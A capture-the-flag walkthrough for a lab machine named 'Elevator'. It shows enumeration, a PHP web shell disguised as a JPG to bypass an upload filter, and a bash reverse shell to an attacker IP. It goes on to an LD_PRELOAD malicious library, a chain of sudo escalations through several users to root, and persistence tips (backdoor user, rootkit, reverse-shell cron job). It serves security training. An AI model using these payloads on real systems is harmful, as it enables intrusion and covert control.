Skip to main content

Elevator

export TARGET_IP=172.17.0.2
sudo nmap -p0- $TARGET_IP
PORT   STATE SERVICE
80/tcp open http

Directory and File Enumeration with Gobuster

Initial Scan:

gobuster dir -u http://$TARGET_IP/ -w /usr/share/wordlists/dirb/common.txt -t 50
/themes               (Status: 301) [Size: 309] [--> http://$TARGET_IP/themes/]

Focused Scan:

A more targeted scan was performed on the /themes directory using a larger wordlist and specifying common web extensions:

gobuster dir -u http://$TARGET_IP/themes -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x php,html,txt -k
/uploads              (Status: 301) [Size: 317] [--> http://$TARGET_IP/themes/uploads/]
/archivo.html (Status: 200) [Size: 3380]

Vulnerability Analysis

2.1 File Upload Functionality:

Further investigation of http://$TARGET_IP/themes/archivo.html revealed a web page with file upload functionality. The application appeared to accept only JPG images.

Testing the Upload Mechanism:

  1. A legitimate JPG image was uploaded through the form.
  2. The uploaded file was found in the /themes/uploads directory with a randomly generated filename (e.g., 679007c28c5f9.jpg).
  3. Accessing the file directly (e.g., http://$TARGET_IP/themes/uploads/679007c28c5f9.jpg) displayed the image's raw binary data, confirming it was stored on the server.

Potential for Remote Code Execution (RCE)

Hypothesis: The application's file type validation mechanism might be inadequate, potentially allowing the upload of malicious code disguised as a JPG image. If the server executes this code upon access, it could lead to Remote Code Execution (RCE) and ultimately, a reverse shell.

Exploitation

Crafting a Malicious Payload:

To test the hypothesis, a PHP reverse shell payload will be crafted. This payload will be prepended with a valid JPG header to bypass potential file type checks based solely on the initial bytes of the file.

Payload Creation (example):

echo 'GIF89a; <?php system($_GET["cmd"]); ?>' > shell.php.jpg

Explanation:

  • GIF89a;: This is a valid header for a GIF image. While we are aiming to bypass a JPG check, using any recognized image header might increase success depending on the validation method used by the web server. If this header does not work, other image headers like ÿØÿà..JFIF.. could be used.
  • <?php system($_GET["cmd"]); ?>: This is a simple PHP code snippet that executes system commands received through the cmd GET parameter.

Uploading the Payload:

The crafted shell.php.jpg file will be uploaded using the file upload form on http://$TARGET_IP/themes/archivo.html.

Triggering the Payload:

After successful upload, the payload can be triggered by accessing it directly and passing a command through the cmd parameter:

http://$TARGET_IP/themes/uploads/<uploaded_filename>.jpg?cmd=id

Expected Result:

GIF89a; uid=33(www-data) gid=33(www-data) groups=33(www-data)

If the vulnerability exists and the server executes PHP code within the uploaded file, the output of the id command (or any other command) should be displayed in the browser.

Establishing a Reverse Shell

If the previous step is successful, a more robust reverse shell can be established.

Setting up a Netcat Listener:

rlwrap nc -lvnp 4444

Modifying the Payload:

A more sophisticated PHP reverse shell payload can be used. Replace the content of shell.php.jpg (after the image header) with a payload like this (modify $attacker_ip and 4444 accordingly):

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/$attacker_ip/4444 0>&1'");
?>

Re-upload the Payload:

Upload the modified shell.php.jpg.

Triggering the Reverse Shell:

Access the uploaded file's URL:

http://$TARGET_IP/themes/uploads/<uploaded_filename>.jpg

Result:

A reverse shell connection should be established on the Netcat listener, granting interactive shell access to the target server.

Privilege Escalation

Escalating from www-data

After successfully obtaining a reverse shell, the next objective is to escalate privileges from the current user (www-data) to a higher-privileged user, ideally root.

Initial Enumeration:

The first step in privilege escalation is often to check the sudo permissions for the current user:

sudo -l

Results:

Matching Defaults entries for www-data on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User www-data may run the following commands on 2a391bddf37c:
(daphne) NOPASSWD: /usr/bin/env

Analysis:

The output reveals that the www-data user can execute /usr/bin/env as the user daphne without requiring a password. This presents a potential privilege escalation vector.

Understanding the Vulnerability:

The env command, when run with sudo, can be leveraged to manipulate environment variables. If not carefully configured, it can be used to execute arbitrary commands with the privileges of the target user (in this case, daphne). The env_reset default setting doesn't prevent an attack by itself, we can still use /usr/bin/env to manipulate environment variables.

Exploitation Strategy:

EASY WAY:

https://gtfobins.github.io/gtfobins/env/#suid

sudo -u daphne /usr/bin/env /bin/sh -p

HARD WAY:

The strategy here is to use sudo with /usr/bin/env to set an environment variable, and subsequently execute a program that is influenced by that environment variable. In many systems, the dynamic linker (ld.so) respects variables like LD_PRELOAD. This specific variable allows us to specify a shared library that will be loaded before any other library when a program is executed.

Steps:

  1. Create a Malicious Shared Library:

    We will create a simple shared library in C that executes a shell when it's loaded.

    lib.c:

    #include <stdio.h>
    #include <stdlib.h>

    static void inject() __attribute__((constructor));

    void inject() {
    setuid(0);
    system("/bin/bash");
    }

    Because we could not have nano to write this script, try:

    cd /tmp
    echo '#include <stdio.h>' > lib.c
    echo '#include <stdlib.h>' >> lib.c
    echo 'static void inject() __attribute__((constructor));' >> lib.c
    echo 'void inject() {' >> lib.c
    echo ' setuid(0);' >> lib.c
    echo ' system("/bin/bash");' >> lib.c
    echo '}' >> lib.c

    Compile the library:

    gcc -shared -fPIC -o lib.so lib.c

    This command compiles the lib.c file into a shared object file named lib.so. The options used are:

    • -shared: This option tells the compiler to create a shared object which can then be linked with other objects to form an executable.
    • -fPIC: This option stands for "Position Independent Code". It is necessary for shared libraries because the code may be loaded at any address in memory.
    • -o lib.so: This option specifies the output file name, in this case lib.so.
note

Alternatively transfer the compiled lib.so from your machine to the target machine. You can use tools like scp, wget, or curl depending on what's available within the reverse shell. For example, you might host it temporarily on your attacking machine and use wget to download it into the /tmp directory of the target.

  1. Exploit with sudo and LD_PRELOAD:

    Execute the following command in the reverse shell, where /path/to/lib.so is the location where you uploaded the library:

    sudo -u daphne /usr/bin/env LD_PRELOAD=/path/to/lib.so /bin/bash

    Explanation:

    • sudo -u daphne: Executes the command as the user daphne.
    • /usr/bin/env: The command that we have permissions to execute with sudo.
    • LD_PRELOAD=/path/to/lib.so: Sets the LD_PRELOAD environment variable to point to our malicious library.
    • /bin/bash: Any command that will be executed by the dynamic linker will have the library specified by LD_PRELOAD preloaded.

Expected Result:

The inject function in lib.so will be executed before anything in /bin/bash, granting a shell with daphne's privileges.

Escalating from Daphne

After obtaining a shell as daphne, we again check for potential sudo privilege escalation opportunities:

sudo -l

Results:

Matching Defaults entries for daphne on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User daphne may run the following commands on 2a391bddf37c:
(vilma) NOPASSWD: /usr/bin/ash

Analysis:

The sudo configuration allows the daphne user to execute the /usr/bin/ash command as the user vilma without a password. /usr/bin/ash is a lightweight shell (Almquist Shell), similar to bash but often smaller and with fewer features.

Exploitation Strategy:

The most straightforward way to exploit this is to directly run /usr/bin/ash with sudo to gain a shell as vilma:

https://gtfobins.github.io/gtfobins/ash/#suid

sudo -u vilma /usr/bin/ash

Expected Result:

This command should immediately drop you into an ash shell running with vilma's privileges.

Verifying the Escalation:

id
> uid=1001(vilma) gid=1001(vilma) groups=1001(vilma)

Escalating from Vilma

Having obtained a shell as vilma, we check for sudo privilege escalation possibilities:

sudo -l

Results:

Matching Defaults entries for vilma on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User vilma may run the following commands on 2a391bddf37c:
(shaggy) NOPASSWD: /usr/bin/ruby

Analysis:

The sudo configuration permits the vilma user to execute /usr/bin/ruby as the user shaggy without requiring a password.

Exploitation Strategy:

We can leverage Ruby's capabilities to spawn a shell. GTFOBins provides a suitable payload for this purpose:

sudo -u shaggy ruby -e 'exec "/bin/sh"'

Explanation:

  • sudo -u shaggy: Executes the command as the user shaggy.
  • /usr/bin/ruby: The command we are allowed to execute.
  • -e 'exec "/bin/sh"': This is a Ruby one-liner that executes a shell using the exec function.

Expected Result:

This command should immediately spawn a shell running with shaggy's privileges.

Verification:

Use the id command to confirm that you are now shaggy:

id

Escalating from Shaggy

With access as shaggy, we repeat the process of checking for sudo permissions:

sudo -l

Results:

Matching Defaults entries for shaggy on 2a391bddf37c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User shaggy may run the following commands on 2a391bddf37c:
(fred) NOPASSWD: /usr/bin/lua

Analysis:

The sudo configuration allows shaggy to run /usr/bin/lua as the user fred without a password. Lua is a scripting language, similar to Ruby or Python, and can also be used to execute system commands.

Exploitation Strategy:

We can consult GTFOBins again for a suitable Lua payload to spawn a shell as fred. According to GTFOBins, the following payload should work:

sudo -u fred lua -e 'os.execute("/bin/sh")'

Escalating from Fred

sudo -l
Matching Defaults entries for fred on b944ae1c2604:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User fred may run the following commands on b944ae1c2604:
(scooby) NOPASSWD: /usr/bin/gcc

https://gtfobins.github.io/gtfobins/gcc/#shell

sudo -u scooby gcc -wrapper /bin/sh,-s .

Escalating from Scooby

sudo -l
Matching Defaults entries for scooby on b944ae1c2604:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty

User scooby may run the following commands on b944ae1c2604:
(root) NOPASSWD: /usr/bin/sudo

https://gtfobins.github.io/gtfobins/sudo/

sudo -u root sudo su
# OR
sudo -u root sudo /bin/sh

Maintaining Access

To maintain persistence on the compromised system, consider:

  • Creating a Backdoor User: Add a new user account with elevated privileges.
  • Installing a Rootkit: A rootkit can hide malicious processes and maintain covert access.
  • Setting up a Cron Job: Schedule a script to re-establish the reverse shell periodically.